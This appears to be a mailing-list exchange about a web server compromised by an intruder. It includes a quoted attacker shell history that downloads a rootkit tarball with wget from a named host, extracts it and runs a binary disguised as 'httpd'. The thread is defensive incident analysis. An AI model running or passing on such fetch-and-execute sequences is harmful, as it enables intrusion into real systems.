Thanks for letting me know.

I found this in the my httpd error log:

(errno: 54)

I also found shellbind.c in my /tmp directory.  Is there a way to tell
what type of exploit was used to get these files on my system (ie OpenSSL
/ PHP register_globals)?

I've been monitoring this server from a port that mirrors its traffic
using Ethereal, and all seems to be okay now.  I also cvsuped -Rr my
apache+mod_ssl install.

Thanks,
Bret

Subject: Re: httpd in /tmp - Sound advice sought


i know a certain hacking group who is trying to run their trojan as httpd,
i
discovered that info through some shell account i am running, that has
tried
to start this rootkit on our machine.

heres a short view from the shell's history:

---------------------
wget geocities.com/setan_maya/taek.tar.gz
cd ..
ls
cd ..
ls
cd tmp
ls
wget geocities.com/setan_maya/taek.tar.gz
tar zxvf taek.tar.gz
ls
cd taek
./httpd
chmod 755 httpd
./httpd
ls
cd ..
rm -rf taek
rm taek.tar.gz
-----------------------

this clearly shows, that we have to do with a very dumb person, hence he

1. didnt cleaned his historyfile
2. left the tar.gz file in his homedir
3. loaded the rootkit from the same server he is running the group's
webpage
on.
4. has a link to their chan on that page, and in the chan as ive monitored

for 48hrs, ive found them posting their "successes" directly and
unencrypted.

I have informed a number of providers and hosters, that had their webpage
posted into that chan, and informed them about the breakins, so far i got
no
message back from them.

of course, its a longshot, but they didnt seem to check first if the
folder
tmp has the executable bit set at all, and they named their client like
the
file youve found.

i hope this helps you further.
